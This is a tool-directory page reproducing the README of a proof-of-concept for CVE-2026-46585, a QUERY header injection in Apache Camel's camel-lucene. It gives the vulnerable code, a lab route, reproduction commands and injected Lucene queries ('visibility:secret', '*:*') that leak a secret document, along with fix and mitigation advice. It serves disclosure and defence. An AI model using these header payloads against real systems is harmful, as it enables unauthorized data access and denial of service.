Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-46585 — Reproducer for CVE-2026-46585: Apache Camel camel-lucene QUERY header injection enabling authorization bypass / index data exfiltration (fixed in 4.14.8/4.18.3/4.21.0) | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-46585
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHuboscerd/cve-2026-46585

CVE-2026-46585

Reproducer for CVE-2026-46585: Apache Camel camel-lucene QUERY header injection enabling authorization bypass / index data exfiltration (fixed in 4.14.8/4.18.3/4.21.0)

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

camel-lucene QUERY Header Injection Reproducer (CVE-2026-46585)

This project demonstrates a message-header injection / authorization bypass in Apache Camel's camel-lucene component, tracked as CVE-2026-46585. The Lucene query producer reads the full-text search phrase from an Exchange header, but the header's name was the plain string QUERY (and RETURN_LUCENE_DOCS for the docs flag). Because these names do not start with the Camel / camel prefix, HttpHeaderFilterStrategy — which blocks only the Camel header namespace at the HTTP boundary — let them pass from an inbound HTTP request straight into the Exchange. Any HTTP client hitting a route that exposes a Lucene query behind an HTTP consumer can therefore set the QUERY header and have its value executed against the index, .

overriding the query the route intended to run

This PoC demonstrates the impact as authorization bypass / data exfiltration: an unauthenticated client injects raw Lucene query syntax to read a document the public search endpoint was never meant to return (and a match-all query dumps the entire index).

Advisory: https://camel.apache.org/security/CVE-2026-46585.html

Vulnerability Summary

PropertyValue
Componentcamel-lucene
Affected Classorg.apache.camel.component.lucene.LuceneQueryProducer reading LuceneConstants.HEADER_QUERY (value "QUERY")
CWECWE-20 (Improper Input Validation) / CWE-639 (Authorization Bypass Through User-Controlled Key)
ImpactAn HTTP client sets the QUERY header → arbitrary Lucene query executed → read documents outside the intended scope, or CPU-heavy regex queries
PreconditionsA route exposes a lucene:...:query producer behind an HTTP consumer (e.g. platform-http); unauthenticated when the consumer is
Affected VersionsFrom 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0
Fixed Versions4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23509
CreditAndrea Cosentino (Apache Software Foundation) and Yu Bao (PayPal)

Same header-injection family as CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 and CVE-2026-46457, and shares the non-Camel-prefixed header-constant root cause with the camel-elasticsearch SEARCH_QUERY sibling.

Technical Details

root@kitploit:~
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";

// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
    searcher.open(indexDirectory, analyzer);
    hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs);   // attacker-controlled
}

LuceneSearcher parses the phrase with a classic QueryParser("contents", analyzer), so the attacker gets full Lucene query syntax: fielded terms (visibility:secret), match-all (*:*), wildcards, and expensive regular expressions.

The fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) renames the header values to the Camel convention — HEADER_QUERY from QUERY to CamelLuceneQuery, and HEADER_RETURN_LUCENE_DOCS to CamelLuceneReturnLuceneDocs — so they are filtered on the HTTP boundary like every other Camel control header. The constant field names are unchanged (routes referencing LuceneConstants.HEADER_QUERY keep working); it is a breaking change only for routes that set/read these headers by their raw string value.

The victim route

root@kitploit:~
from("platform-http:/search")
    .removeHeaders("Camel*")                                  // documented hardening — see below
    .to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
    .process(/* render the Hits as text */);

The route author's security model is "this endpoint only serves public search". As documented hardening the route even strips the Camel control-header namespace at the edge with removeHeaders("Camel*"). That does not help: the control header is named QUERY, not CamelLuceneQuery, so it is stripped by neither that call nor the built-in HTTP header filter — which is exactly the point of the CVE (and exactly what the fix's rename addresses).

The index contains three public documents plus one secret document tagged visibility:secret whose body carries a benign flag marker. A normal public search (QUERY=onboarding, a plain term against the default contents field) never returns it; an injected fielded query does.

Repository layout

The victim is the Camel search route and its index; the attacker is an unauthenticated HTTP client that only sets a request header. Everything runs in a single self-contained app.

root@kitploit:~
CVE-2026-46585/
├── pom.xml                 # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── IndexConfig.java          # registers the index directory as a Camel bean (#kbIndexDir)
    │   ├── IndexBootstrap.java       # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
    │   ├── VictimRoute.java          # from("platform-http:/search").to("lucene:kb:query")
    │   └── ExploitController.java    # attacker: GET /search with an injected QUERY header
    └── resources/
        └── application.properties

Prerequisites

  • Java 17+ and Maven 3.8+
  • Docker (optional, for the containerised run)

Reproduction Steps

Option A — Docker (recommended)

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Option B — run the jar directly

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack

Expected output

root@kitploit:~
=== 1) Legitimate public search (QUERY=onboarding) ===
  hits=2
    - Frequently asked questions about billing and account onboarding.
    - Welcome onboarding guide: how to use the public knowledge base and search for articles.
  secret leaked: false

=== 2) Injected query (QUERY=visibility:secret) ===
  hits=1
    - CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
  secret leaked: true

=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
  hits=4
    - ... (every document, including the secret one) ...

>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true

The legitimate term search returns only public documents. The attack request — differing only by the value of a single header the framework should have filtered — reads the secret document, and a match-all query returns the entire index.

Attack Vectors

Any route with a lucene:...:query producer reachable from an HTTP consumer. Beyond reading unintended documents, the attacker can:

  • Replace a route's intended per-user/tenant filter with *:* or a different field predicate (authorization bypass).
  • Submit expensive wildcard / regular-expression queries to burn CPU (denial of service).

Recommended Fix

Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). After upgrading, routes that set the query via the raw header name must use CamelLuceneQuery (and CamelLuceneReturnLuceneDocs) instead of QUERY / RETURN_LUCENE_DOCS; these Camel-namespaced names are filtered at the HTTP boundary like every other control header.

Mitigation

Until upgrading:

  1. Strip the attacker-controllable headers before the Lucene producer and set the query from a trusted source: .removeHeader("QUERY") and .removeHeader("RETURN_LUCENE_DOCS"), then .setHeader("QUERY", constant(...)) (or build it from validated input) at the start of the route.
  2. Do not expose a Lucene query producer directly to untrusted HTTP clients without an authorization check on what may be queried.

Disclaimer

This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.

Download Tool